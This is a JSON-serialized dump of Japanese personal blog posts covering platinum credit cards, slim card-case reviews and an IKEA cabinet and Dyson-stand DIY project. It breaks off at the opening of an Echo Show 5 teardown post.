ホテルの上級会員がプラチナ・カード®を持ってると得られるので、シンガポール航空のエリートシルバー会員にステータスマッチし、加えてシンガポール航空に3回搭乗するノルマをクリアするだけで、すごく簡単にゴールド会員になれる。\n武者修行のような忍耐と体力を削る修行をしてスターアライアンスのゴールド会員を得る人もいるけど、その苦痛を金で解決したような感じのもの。\nどうせスターアライアンスの上級会員を目指すなら、これでステータスマッチして得たゴールド会員の状態で他のキャリアの上級会員目指した方が楽ですね。体力的に。\n\n### ステータス\n\nかっこいいカードを持ってる俺かっこいい。くらい。\nアフィリエイトブログには「プラチナ・カード&reg;を持ってから生活が豊かになりました!」とか書いてあったりする。どういうこっちゃ。\nサブリミナル的な効果があるかもしれないのであまり否定はしません。\nこのカードをステータス目的で発行したいとかなら、他の還元率のいいカードを契約した方がいい。年会費の元は簡単には取れんぞ。\nただのカードコレクターの所有欲を満たすだけ。\nやしろあずきと同じレベルの人間性しか得られません。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">カードオタクなのでアメックスプラチナ申し込んだんだけど、カード番号裏に刻印されてるし金属製なので重量感半端ないしめっちゃ格好良くないですかこれ?<br>今年で30歳、使いこなせる大人になりたいと思ってたらプラチナカードと同時にブラックコーンも届いたので全てがどうでもよくなりました。 <a href=\"https://t.co/1w4eETH4Om\">pic.twitter.com/1w4eETH4Om</a></p>&mdash; やしろあずき (@yashi09) <a href=\"https://twitter.com/yashi09/status/1107969238826930177?ref_src=twsrc%5Etfw\">2019年3月19日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n## まとめ\n\nクレジットカード1gあたりの値段は下表の通りとなります。\n\n種類 | 年会費<br><span style=\" white-space: nowrap; font-size: 0.8em\">(円,税別)</span> | 重さ<br><span style=\" white-space: nowrap; font-size: 0.8em\">(g,実測)</span> | 1gあたり<br><span style=\" white-space: nowrap; font-size: 0.8em\">(円/g,税別)</span>\n---|---:|---:|---:\nJCBプラチナ | 25,000 | 5.2 | 4,807.69\nLUXURY CARD Mastercard® Titanium Card™ | 50,000 | 22.5 | 2,222.22\nアメリカン・エキスプレス プラチナ・カード® | 130,000 | 17.7 | 7,344.63\n\n金属製カードいいですよ。ステータス性があって良い。かっこいい。\nあとプラチナカードを見せびらかす奴には注意。大概やばい奴。ソースは俺。\n"]}],[0,{"slug":[0,"2019/04/12/smart-card-case/"],"data":[0,{"title":[0,"モダンでスマートなクレジットカードケース3選"],"date":[3,"2019-04-12T01:00:00.000Z"],"image":[0,"/assets/images/2019/04/12/cases.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Credit Card"]]],"tags":[1,[[0,"cashless"],[0,"card-case"],[0,"wallet"]]]}],"content":[0,"\nキャッシュレス大好きで、普段から現金を使うことはほとんどない。だけれども長財布を持ち歩いていた。\n交通費決済はApple WatchのSuica、コンビニでの支払いはApple WatchのQUICPay、スーパーや外食ではクレジットカードを使う。\n財布の中身で使っているのはクレジットカード、あとはたまに保険証・身分証。現金は週一回触るか触らないか。\n「もう財布すら不要では?カード類が持ち歩ければよくない?」\n\nというわけで、カードケースを持ち歩く事にした。\n\n[前回のクレジットカードの記事](../2019/2019-03-22-platinum-card.md)は、この記事のための布石だった。\n\n## 目次\n\n\n## スマートウォレット\n\n先進性のあるクールなプロダクツを見つけるためにはどうする?正解はKickstarterを探す。\n\n[https://www.kickstarter.com/discover/advanced?term=wallet&sort=most_funded](https://www.kickstarter.com/discover/advanced?term=wallet&sort=most_funded)\n\nKickstarterにはクールな商品がいっぱいだ。眺めてるだけで心がイケメンになる。\nAreospaceだとか航空機グレードだとか、かっこいい単語並べれるだけ並べてるものが多い。オタク受けもバッチリだ。\n今回はこの中から2つをチョイス。あとは適当に探した。\n条件としては、\n\n- かっこいい\n- 使いやすい\n- 8枚のカードが持ち歩ける\n- マネーホルダー付きで紙幣も持ち歩ける\n\nの4つ。これだけで絞ったら数が多すぎたので、Amazon.co.jpで手軽に買えることを今回の絞り込みに適用した。\n\n8枚のカードは日常的に使うであろうパターンより、\n\n- 前回紹介した凹凸のない金属製プラチナカード2枚\n- エンボス加工のあるクレジットカード1枚\n- エンボス加工のあるキャッシュカード1枚\n- 凹凸のない保険証・ポイントカード・会員証、計3枚\n- 急に増えた時の予備枠1枚\n\nを選択した。\n\n## カードと紙幣\n\nここでちょっとコラム。日本において、クレジットカードと紙幣を一緒に持ち歩くのはとても相性がいい。クレジットカード決済ができなかった場合、**紙幣で確実に支払うことができる**からだ。\nこれは日本銀行法第四十六条二項に定められる条文によるものだが、以下の日本銀行のサイトにやさしく書かれている。\n\n[決済の手段にはどのようなものがありますか? : 日本銀行 Bank of Japan](https://www.boj.or.jp/announcements/education/oshiete/kess/i02.htm/)\n\n> 現金通貨は、次のような点に特徴があります。\n>\t\n> (1)法律の定めにより、現金通貨を支払った場合には、相手が受取りを拒絶できない性質(強制通用力)があること\n> \n> (2)現金通貨を取引相手に支払うことによって、取引相手との決済を直ちに終了させることができる性質(支払完了性)があること\n> \n> (3)現金通貨を用いる決済は、いつ、どこで、何の目的で使ったか分からないという匿名性があること\n\n下手にキャッシュレスにこだわってSuicaとかを<ruby>代替手段<rp>(</rp><rt>フォールバック</rt><rp>)</rp></ruby>に用意するより、札束で殴れるようにしておく方がいいのだ。\n\nまた、クレジットカードと日本銀行券のサイズはとても相性がいい。\nクレジットカードは黄金比である1:1.618で作られていることは有名だが、このサイズはISO/IEC 7810として国際規格に定められている。\n\n[ISO/IEC 7810:2003 - Identification cards -- Physical characteristics](https://www.iso.org/standard/31432.html)\n\n部分的に引用するが、\n\n> thickness of 0,76 mm and dimensions of:\n> \n> - ID-1 85,60 mm x 53,98 mm,\n\nと、共通サイズが用いられることとなっている。\n\n対して日本銀行券のサイズはというと、これは短辺が76mmと共通化されている。\n\n[現在発行されている銀行券・貨幣 : 日本銀行 Bank of Japan](https://www.boj.or.jp/note_tfjgs/note/valid/issue.htm/)\n\n各紙幣のサイズを列挙すると、76×160mm(一万円札)、76×156mm(五千円札)、76×150mm(千円札)となっており、これらは三つ折りにした際にちょうどクレジットカードよりも小さくなるサイズなのだ。\n\n- クレジットカードの長辺は85.60mm、紙幣の短辺は76mm\n- クレジットカードの短辺は53.98mm、一万円札を三つ折りにした際の長辺側は53.33mm\n\n\nということは、クレジットカードケースにマネーホルダーがついていれば、**クレジットカードサイズでお札もまとめてスマートに持ち歩け、かつクレジットカードが使えない場合に現金で必ず決済することができる**のだ。\n\nちなみに新紙幣のサイズも現行紙幣と同じ。ソースはこちら→[日本銀行券の改刷および500円貨の改鋳について [PDF 477KB]](https://www.boj.or.jp/announcements/release_2019/rel190409a.pdf)\n\n\n## The Ridge\n\n\n\n\n公式: [ridgewallet.com/collections/all-wallets/products/aluminum-silver](https://www.ridgewallet.com/collections/all-wallets/products/aluminum-silver)\n\nKickstarter: [The Ridge: Front Pocket Wallet by Daniel Kane — Kickstarter](https://www.kickstarter.com/projects/124039987/the-bridge-front-pocket-wallet)\n\nKickstarterでもまあまあ人気だったっぽいカードケース。\nカードサイズの板の3辺がゴムバンドで繋がっていて、板で挟む形でクレジットカードなどを保持する。\nゴムバンドで留められていない辺からカードを出し入れする。イケメンシルバーとオタクカーボンファイバーをポチった。\n\n価格は約15,000円。カーボンファイバーは+1万円ほど。マネーバンド(後述)の方は若干安い。\n\nマネーバンド: [Amazon \\| [ザ リッジ] the RIDGE【国内正規品】 スマートフォンよりも薄い財布 マネーバンド キャッシュ ストラップ アルミニウム ガンメタル \\| マネークリップ](https://www.amazon.co.jp/dp/B00OSUDGYA/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=462cf47a09f1a17e8053d762e9eaf5b1&language=ja_JP)\n\nマネークリップ: [Amazon \\| [ザ リッジ] the RIDGE 【国内正規品】スマートフォンよりも薄い財布 マネークリップ アルミニウム シルバー \\| the RIDGE(ザ リッジ) \\| マネークリップ](https://www.amazon.co.jp/dp/B00OSUDUD2/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=3c3c469604611c2707f85a43878249de&language=ja_JP)\n\n### 外観\n\n\n\n\n\nイケメンシルバーは梨地加工があり、MacBook Proっぽさを感じる(色は若干違う)。スタバの小さい机の上に置いておくとイケメンになれそう。\nカーボンファイバーはエセっぽさ(なんちゃってカーボンファイバー感)がなく、ロゴを削ってあるところは繊維(ファイバー?)が露出していた。オタクこういうの好きそう。\n\nサイズはマネークリップの方で5.5cm×8.8cm×1.3cm。マネーバンドの方は厚さが0.8mmになる。\n\n### エッジ処理\n\n\n\n\n\nエッジはしっかりと研ぎ澄まされている。なめらかな指ざわり。\nカーボンファイバーのほうも繊維を感じさせない滑らかさだった。\nカードを取り出す時に指で触れることになるので、このなめらかさはとても重要だ。Good。\n\n### 収納\n\n\n\n\n実際にカードを8枚入れてみた。いれ方はゴムのない辺をくぱぁと開いて挿入する。\nゴムの張りは強くしっかりと保持される。若干きつい。\nただ、このキツキツも使い続けるとガバガバになるのかという不安がある。\nゴムバンドは伸びるので。そうなった場合のために解決策が用意されていて、ドライバーが付いており、新しいゴムバンド(別売)に交換できるようになっている。\n\n収納と取り出し操作を繰り返していると、一番外側のカードがケースに擦れることになるが、それを防止するために保護用のカードが付属している。\n\n### 取り出し\n\n\nくぼみ部分に指を押し当てて挿入側から出すように作られている。これでスマートに取り出せると思いきや、意外と力がいる。\nカード8枚が多すぎたのか、カードのチョイスが悪いのか。その反面、このしっかりとしたゴムバンドのおかげで、不意に飛び出すことはなさそうな安心感はある。\n\n### マネーホルダー\n\nThe Ridgeにはマネーバンド型とマネークリップ型が存在する。今回はシルバーがクリップで、カーボンファイバーがバンドのものにした。\n\n\n\n\nマネーバンド型は取り出しが長辺方向だけであるが、数枚畳んで持ち歩く分にはしっかりと保持できている。マネークリップ型は固定されているのが一辺だけだが、これもしっかり止まっているようだ。お札1枚だけだとクリップの方はちょっとポケットからの出し入れの際に心配になるが、落ちることはなかった。\n\n\n### 評価\n\nかっこいい | 使いやすい | カード収納力 | マネーホルダー\n---|---|---|---\n★★★★ | ★★★ | ★★★★ | ★★★★\n\nスマートさはある。ただ、個人的には取り出し操作に使い勝手が悪く感じた。\n収納力は高く、公式情報では1枚から12枚まで入るらしい。\nお札は心配なく保持できる。\n\n\n## Decadent Minimalist One\n\n\n\n\n公式: [decadentminimalist.com](https://decadentminimalist.com/)\n\nKickstarter: [DM1: Titanium & Carbon Fiber Wallet by Decadent Minimalist by Erik Moon — Kickstarter](https://www.kickstarter.com/projects/mooner/dm1-titanium-and-carbon-fiber-wallet-by-decadent-m)\n\n\nアルミ削り出しがウリのカードホルダー。カードの枠。\nDecadent Minimalist Oneという長い名前だが、KickstarterではDM1と略されている。\nKickstarterを見るに、The RidgeよりもFounderは少ないが達成額は多い。単価が高いものの注目も多く集まった代物だ。\n\nカラーはいろいろと展開されているが、ガンメタルをポチった。入れる枚数によっても種類があるが、今回は8枚用にした。\n\n価格は約14,000円。収納枚数によって若干の差がある。マネークリップなしだと10,000円ほど。\n\nマネークリップあり: [Amazon.co.jp: 超便利! アルミブロック削りだし マネークリップ&カードホルダー Decadent Minimalist デカデント ミニマリスト: 服&ファッション小物](https://www.amazon.co.jp/dp/B01MYZMVJN/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=f1e7d23e9f7310b1c028cdb5125da73a&language=ja_JP)\n\nマネークリップなし: [Amazon.co.jp: 超便利! アルミブロック削りだし クレジットカードケース Decadent Minimalist デカデント ミニマリスト: 服&ファッション小物](https://www.amazon.co.jp/dp/B01N4BXNK7/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=850d31628815017c64083921fa551e25&language=ja_JP)\n\n\n### 外観\n\n\n\n\nアルミ削り出しと直感でわかる仕上がり。惚れ惚れするフォルム。\nサイズは公式サイトより、3.53\" x 2.38\", 8-card: 0.38\"、すなわち、89.7mm x 60.5mm x 9.7mm。\n\n### エッジ処理\n\n\n\nこれもエッジはなめらか。削り出しだからそれは当然のように、全体が統一された手触りだった。\nカードが触れる部分も滑らかに処理されている。\n\n### 収納\n\n\n\n\n\n開いている辺を少し開け、すーっと滑り込ませる形で挿入する。これがまた綺麗に入るんだわ。\nカチッと音がなる。周りからの評判がとても良かった。\n8枚用なのでしっかりと8枚収納できた。\nただ、収納と取り出し操作を繰り返していると、一番外側のカードの端が擦れてくる。\n\n### 取り出し\n\n一番上のカードをスライドしてあげると口が開き、全てのカードをずらしながら確認できるようになる。\n意外とこれが初めてでは難しい。どの程度の力加減で取り出せばいいのかを手に馴染ませるのに数分時間を要した。\nただ、使い続けていれば簡単にカードを枠から外すことができるようになる。\n\n\n### マネーホルダー\n\nDM1のマネークリップは別になっていて、一枚のカードのようになっている。\n\n\n\n\nこれを一番後ろに入れることによってクリップを追加できる。\n保持力はしっかりとある。また、押さえる部分が当たるところに穴が空いてるため、緩くなっても押し込むことで保持力を元に戻せるようになっているのもポイント高い。\n\n\n\nただ、このマネークリップがカード一枚分の厚さがあるため、これを入れるとカードが7枚しか収納できなくなる。残念ポイント。\n\n\n### 評価\n\nかっこいい | 使いやすい | カード収納力 | マネーホルダー\n---|---|---|---\n★★★★★ | ★★★★★ | ★★★ | ★★★★★\n\n券面が前面に出るのでかっこいいカードを入れるとかっこいい。使いやすさも慣れれば十分。ただ、8枚用はマネークリップをつけると7枚しか入らなくなる点は、若干マイナス。\n\n\n## SECRID\n\n\n\n\n公式: [secrid.com](https://secrid.com/)\n\n\nこれはKickstartarではなく、関連商品から見つけたもの。カードを出す操作がトリガーを引くタイプ。\n利便性が高そうなのでポチってみた。10,000円前後。\n\n[Amazon \\| [セクリッド] secrid セクリッド シークリッド miniwallet ミニウォレット オリジナル BLACK 並行輸入品 MO-Black ブラック [並行輸入品] \\| クレジットカードケース](https://www.amazon.co.jp/dp/B07D185PXB/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=b22a43948fb74a017eacee27402f1899&language=ja_JP)\n\n\n### 外観\n\n\n\n\n\n内側のカードケースのみのものもあるが、今回は手帳タイプの物にした。\nというのも、カードケース単品では紙幣が一緒に持ち歩けないからだ。\n先に紹介した他のカードケースがモダンな感じが強いためか、ちょっとお年を召した方を対象にしたような印象を持った。\n\n### エッジ処理\n\n\n\n\n\nサイドはラウンド形状なのでエッジがない。カードを入れる部分のエッジ処理は痛くない程度。丸い感じはなかったが、さらっとしている。\n\n\n### 収納\n\n\n\n\nちょっときつい。8枚は入らなかった。販売サイトには6枚までと記載があった。\n\n### 取り出し\n\n下部にあるトリガーを引く形になる。すると段々と並んでカードが飛び出すようになっている。\nスマートな操作ではあるが、すこしこのギミックが安っぽく、あまりかっこよさを感じなかった。\n\n\n### マネーホルダー\n\nこれはマネークリップではなく、革のケースの内側にお札を収納する形になる。\nしっかりと収納できる反面、取り出しにケースを開く作業が1ステップ増えるため、スマートさに欠ける。\n\n\n\n\n\nお札以外にも小物も収納できる点はよい。\n\n\n\n### 評価\n\nかっこいい | 使いやすい | カード収納力 | マネーホルダー\n---|---|---|---\n★★★ | ★★★★★ | ★★★ | ★★★★\n\nかっこよさは微妙なところだが、便利ではある。\nカード自体の収納力はすこし不足気味だが、革ケースの内側に小物も入れられるのは良い。\n\n\n## Zepirion\n\nタイトルに3選と書いておきながら4つ目を紹介するとは何事かと思えよう。安物との違いを比較したかったため、選んだものがこれ。Zepirion。\n\nなんと1,780円。桁が一つ違う。\n\n[Amazon \\| [zepirion] クレジットカードケース スキミング防止 磁気防止 スライド式 アルミニウム シルバー(クリップ付き) \\| zepirion \\| クレジットカードケース](https://www.amazon.co.jp/dp/B077STTFTT/ref=as_li_ss_tl?&linkCode=ll1&tag=mzyy-22&linkId=5a6e91c3759575f10ddec58a539fd62d&language=ja_JP)\n\n### 外観\n\n\n\n\n\n\nAmazon掲載の写真では美しく見えるように撮ってあるみたいだが、実物を目の前にすると安っぽい。安いから仕方ない。\n\n### エッジ処理\n\n\n\n\n\n\n甘い。触れると角をしっかりと感じる。\n\n\n### 収納\n\n\n\n\nちょっときつい。販売サイトには5枚までと書いてあるので8枚は入らないのはあたりまえだった。仕方ない。\n\n### 取り出し\n\nSECRIDのようにトリガーで出すタイプ。ただ、動きがぎこちなく、おもちゃのよう。\n\n\n### マネーホルダー\n\n不安になる保持力。\n\n\n### 評価\n\nかっこいい | 使いやすい | カード収納力 | マネーホルダー\n---|---|---|---\n★★ | ★★ | ★★ | ★★ \n\n高級感のあるものばかり触った後だったので、まともにレビューする元気が出なかった。\n\n## まとめ\n\n価格と独断と偏見に基づく評価は以下の通り。\n\n製品名 | 価格 | 総合評価 \n---|---|---\nThe Ridge | 15,000円前後 | ★★★★ | \nDecadent Minimalist One | 14,000円前後 | ★★★★★\nSECRID | 10,000円前後 | ★★★★\nZepirion | 2,000円前後 | ★★\n\n\n結局、Decadent Minimalist Oneを日常使いすることにした。オタクと会うときはカーボンファイバーのRidgeにしようと思う。\n"]}],[0,{"slug":[0,"2019/05/28/ikea-besta-dyson-labrico-diy/"],"data":[0,{"title":[0,"小さな穴に電源コードを通して壁に穴を開けずにダイソンを立てる"],"date":[3,"2019-05-28T01:00:00.000Z"],"image":[0,"/assets/images/2019/05/28/IMG_9208.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"Home"]]],"tags":[1,[[0,"ikea"],[0,"diy"],[0,"labrico"]]]}],"content":[0,"\n\nIKEAという北欧料理レストランが郊外には点在しています。休日に息抜きがてらIKEAに行き、北欧料理を食べることがたまにあり、つい先週末も行ってきました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">高級ディナー (@ IKEA BISTRO in 船橋市, 千葉県) <a href=\"https://t.co/82QzRtNQu2\">https://t.co/82QzRtNQu2</a> <a href=\"https://t.co/rdHtrDPksO\">pic.twitter.com/rdHtrDPksO</a></p>&mdash; 🐳 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1132255347756994560?ref_src=twsrc%5Etfw\">2019年5月25日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこのレストラン、罪なことにオシャレな家具屋も併設していて、食後についうっかりキッチンキャビネットを買ってしまいました。このうっかりのために、いろいろ試行錯誤することとなった<ruby>DIY<rp>(</rp><rt>日曜大工</rt><rp>)</rp></ruby>日記です。\n\n## 目次\n\n\n\n\n\n買ったのはBESTÅ -ベストー-というシリーズの組み合わせ家具で、扉付きのシェルフユニットをいくつかくっ付けたり、フレームだけ選んで引き出しや扉を自由に組み合わせたりすることができます。買った組み合わせは後者のフレームを基本に構成してあり、枠を選んで好きなように引き出しを取り付けました。\n\n[公式 BESTÅ/ベストー 購入ガイド[PDF]](https://www.ikea.com/ms/ja_JP/media/pdfs/bg/HFB01_BG_BESTA_colour_s.pdf)\n\n\n\n\nいままで欲しい要素が揃ったキッチン収納には出会えていなかったので、このBESTÅのキッチン向けの組み合わせ例を見て一目惚れ。スロークッカーや湯沸かし器を置いておけるスライド式のテーブルと、プッシュオープン式のスライド引き出し、そしてプッシュオープン式のガラス戸食器棚を、などなど、展示品を見ながらいろいろ妄想を膨らましていきました。\n\n\n\n\n頭の中で理想形を組み上げ、IKEA一階の資材置き場から部品を調達、家に帰るなり一気に組み上げて完成。先ほどの画像のとおりになりました。\n\nこの組み合わせレシピは以下の通りです。\n\n**下段**\n\n品名 | 数 | 単価 | 商品コード\n---|---:|---:|---\n[BESTÅ ベストー フレーム](https://www.ikea.com/jp/ja/catalog/products/30245845/) | 1| ¥6,000 | 302.458.45\n[BESTÅ ベストー 引き出しフレーム](https://www.ikea.com/jp/ja/catalog/products/30351360/) | 2| ¥2,000 | 303.513.60\n[LAPPVIKEN ラップヴィーケン 扉/引き出し前部](https://www.ikea.com/jp/ja/catalog/products/70291675/) | 2| ¥1,500 | 702.916.75\n[BESTÅ ベストー 引き出し用スライドレール プッシュオープン](https://www.ikea.com/jp/ja/catalog/products/80348718/) | 2| ¥1,000 | 803.487.18\n[BESTÅ ベストー ボックス](https://www.ikea.com/jp/ja/catalog/products/10307556/) | 1| ¥1,299 | 103.075.56\n[BESTÅ ベストー ボックス](https://www.ikea.com/jp/ja/catalog/products/90307557/) | 2| ¥1,999 | 903.075.57\n\n**上段**\n\n品名 | 数 | 単価 | 商品コード\n---|---:|---:|---\n[BESTÅ ベストー フレーム](https://www.ikea.com/jp/ja/catalog/products/90245847/) | 1| ¥7,000 | 902.458.47\n[BESTÅ ベストー 引き出しフレーム](https://www.ikea.com/jp/ja/catalog/products/90351357/) | 1| ¥1,500 | 903.513.57\n[LAPPVIKEN ラップヴィーケン 引き出し前部](https://www.ikea.com/jp/ja/catalog/products/90291679/) | 1| ¥1,000 | 902.916.79\n[BESTÅ ベストー 引き出し用スライドレール プッシュオープン](https://www.ikea.com/jp/ja/catalog/products/80348718/) | 1| ¥1,000 | 803.487.18\n[BESTÅ ベストー 引き出し仕切り](https://www.ikea.com/jp/ja/catalog/products/60307554/) | 1| ¥1,299 | 603.075.54\n[BESTÅ ベストー ソフトクロージング/プッシュオープン ヒンジ](https://www.ikea.com/jp/ja/catalog/products/60261259/) | 1| ¥1,000 | 602.612.59\n[GLASSVIK グラスヴィーク ガラス扉](https://www.ikea.com/jp/ja/catalog/products/30291663/) | 1| ¥5,000 | 302.916.63\n[BESTÅ ベストー 棚板](https://www.ikea.com/jp/ja/catalog/products/70352683/) | 2| ¥1,000 | 703.526.83\n[INREDA インレーダ シェルフインサート](https://www.ikea.com/jp/ja/catalog/products/50429886/) | 1| ¥1,000 | 504.298.86\n[INREDA インレーダ 引き出し式フレーム](https://www.ikea.com/jp/ja/catalog/products/70168048/) | 1| ¥4,000 | 701.680.48\n\n\nと、ここまでは良かったものの、右上に設けたスライドテーブルに置いた家電調理器の電源ケーブルが後ろから通せない問題に直面。ここには壁固定用の直径1cm程度のごくごく小さな穴が開いてるだけでした。\nスロークッカーや湯沸かし器のコードはプラグがまずもって通らない。ならば延長コード類を継ぎ接ぎして通そうと考え、たどり着いたのは100円ショップダイソー。お値段108円の電源タップを購入しました。\n\n\n\nさて、これをIKEAの家具に空いている1cmの穴に通すため、分解して一時的に細くします。しかしこの商品、ねじ止めではなく接着だったため、とても分解に苦労することに。隙間にマイナスドライバーを突っ込んでぐりぐり回してパカン。\n\n\n\n\n\n\n\nガワから取り外し、コードと刃受け金具だけにすると、あの小さな穴に通るサイズに。\n\n\n\n\n通したあとはガワを戻しグルーガンでタップをこじ開けた際に開いた隙間を埋めて、理想の食器棚に仕上がりましたとさ。\n\n\n\n\n### // 追記\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">電気工事士の資格もってるんだろうな?<br><br>小さな穴に電源コードを通して壁に穴を開けずにダイソンを立てる <a href=\"https://t.co/Ca4vBm77xg\">https://t.co/Ca4vBm77xg</a> <a href=\"https://twitter.com/mzyy94?ref_src=twsrc%5Etfw\">@mzyy94</a>から</p>&mdash; 海鮮居酒屋 ゆうなぎ亭「ゆうなぎ りつ」 (@you_nagisan1815) <a href=\"https://twitter.com/you_nagisan1815/status/1133300074379767808?ref_src=twsrc%5Etfw\">2019年5月28日</a></blockquote>\n\nご指摘ありがとうございます。電気工事士の資格が必要な作業と例外について記載が漏れていたので追記します。\n電気工事士法によって、電気工事士の資格が必要な範囲は以下のように定められています。\n\n> 3 この法律において「電気工事」とは、一般用電気工作物又は自家用電気工作物を設置し、又は変更する工事をいう。ただし、政令で定める軽微な工事を除く。\n\n電気工事士法 [http://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=335AC0000000139_20160401_426AC0000000072#4](http://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=335AC0000000139_20160401_426AC0000000072#4)\n\nここで言う軽微な工事については、電気工事士法施行令によって、以下のように定められています。\n\n> (軽微な工事)\n>\n> 第一条 電気工事士法(以下「法」という。)第二条第三項ただし書の政令で定める軽微な工事は、次のとおりとする。\n>\n> 一 電圧六百ボルト以下で使用する差込み接続器、ねじ込み接続器、ソケット、ローゼットその他の接続器又は電圧六百ボルト以下で使用するナイフスイッチ、カットアウトスイッチ、スナップスイッチその他の開閉器にコード又はキャブタイヤケーブルを接続する工事\n\n電気工事士法施行令 [http://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=335CO0000000260#1](http://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=335CO0000000260#1)\n\n\nまた、以下のPDFに写真付きでより優しく解説があります。こちらも参考になさってください。\n\n[https://www.meti.go.jp/policy/safety_security/industrial_safety/sangyo/electric/files/1-3keibi.pdf](https://www.meti.go.jp/policy/safety_security/industrial_safety/sangyo/electric/files/1-3keibi.pdf)\n\n\n> # 電気工事士等資格不要の「軽微な工事」について(1)\n>\n> 電気工事士法施行令第1条\n> \n> ①電圧600V以下で使用する差込み接続器、ねじ込み接続器、ソケット、ローゼット、その他の接続\n> 器又は電圧600V以下で使用するナイフスイッチ、カットアウトスイッチ、スナップスイッチその他\n> の開閉器にコード又はキャブタイヤケーブルを接続する工事\n>\n> ○「差込み接続器」とは、差込プラグ(オス側)とプラグ受け(メス側)のことです。(写真1)\n>\n> (中略)\n>\n> ○「コード」「キャブタイヤケーブル」とは、取り回しが良く柔軟に曲げることができる構造を持つ電線をいいます。\n> \n> \n>\n> (写真1)\n> \n> 電気工事士資格が不要となる作業は、上記の接続器や開閉器とコード又はキャブタイヤケーブルを接続する工事に限られます。\n> コード又はキャブタイヤケーブル以外に接続する場合は、電気工事士等資格が必要となります。\n\n今回分解した電源タップは、この「差込み接続器」と「コード」によって構成されており、分解したのち、「差込み接続器にコードを接続する工事」を施したまでです。\nなお、電圧は100Vであるため、ご指摘いただいた電気工事士の資格は不要となります。\n\n// 追記ここまで\n\n日曜大工ついでにいままで立てかけて放置だったダイソンをなんとかしようと思い立ち、充電スタンドを取り付けることに。\nただ、充電スタンドは壁にねじ止めして固定しないといけない。しかし壁にネジで穴を開けたくない。\n代替として以下のような強力なピンを使うことも考えたものの、重いダイソンを大胆に充電スタンドに引っ掛けるのには耐えられそうにないので断念。\n\n[ハイパーフック かけまくり メタルフックWT HHT23M-S2](https://www.amazon.co.jp/dp/B003CFE5U6/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=6443d84f0f1c59e5fb536b96c1cfb6f9&language=ja_JP)\n\n\n<a href=\"https://www.amazon.co.jp/dp/B003CFE5U6/ref=as_li_ss_il?ie=UTF8&linkCode=li2&tag=mzyy-22&linkId=82c1328f22b7ba5d065645d2d7686897&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B003CFE5U6&Format=_SL160_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n\nそこで壁に穴を開けずに穴を開けて取り付ける時にもDIYの強い味方、ラブリコの出番。\n\n[平安伸銅工業 LABRICO DIY収納パーツ 2×4アジャスター オフホワイト DXO-1](https://www.amazon.co.jp/dp/B01HTRVZ0A/ref=as_li_ss_tl?ref_=nav_ya_signin&_encoding=UTF8&&linkCode=ll1&tag=mzyy-22&linkId=502cc349c9be7ec37b9738347dd9eae6&language=ja_JP)\n\n<a href=\"https://www.amazon.co.jp/dp/B01HTRVZ0A/ref=as_li_ss_il?ref_=nav_ya_signin&_encoding=UTF8&&linkCode=li2&tag=mzyy-22&linkId=d7d5995ca74c58b0f93538ac1663824d&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01HTRVZ0A&Format=_SL160_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n突っ張り棒の原理で木材を立てられるラブリコ。そしてそこにネジで穴を開けて取り付けることにしましょう。\n近所のホームセンターで2x4のホワイトウッドを購入。反りが少なく節が荒れてないものを選び、天井から95mm短い2405mmにカットしてもらって持ち帰り。以前Amazonで購入していたラブリコを取り付け立てかけ、Dyson充電スタンドを取り付ければ完成。\n\n\n\n5月なのに暑すぎてクラクラになった。<ruby>日曜大工<rp>(</rp><rt>DIY</rt><rp>)</rp></ruby>は秋までお預け。\n"]}],[0,{"slug":[0,"2019/12/07/echo-show-5-teardown/"],"data":[0,{"title":[0,"Echo Show 5で遊びたい -分解編-"],"date":[3,"2019-12-06T17:00:00.000Z"],"image":[0,"/assets/images/2019/12/07/BANNER.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"echo"],[0,"alexa"],[0,"teardown"],[0,"amazon"],[0,"iot"]]]}],"content":[0,"\n自由を求めるべく、自分好みに染められないかを探求する第一歩。Amazon Echo Show 5をはちゃめちゃにする。\n\n## Echo Show 5\n\n<a href=\"https://www.amazon.co.jp/Echo-Show-5-%E3%82%A8%E3%82%B3%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%BC5-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E4%BB%98%E3%81%8D%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%82%B9%E3%83%94%E3%83%BC%E3%82%AB%E3%83%BC-with-Alexa-%E3%83%81%E3%83%A3%E3%82%B3%E3%83%BC%E3%83%AB/dp/B07KD87NCM/ref=as_li_ss_il?ref_=nav_custrec_signin&&linkCode=li3&tag=mzyy-22&linkId=077b852ff4f8f6794ffb523ddfec50b9&language=ja_JP\" 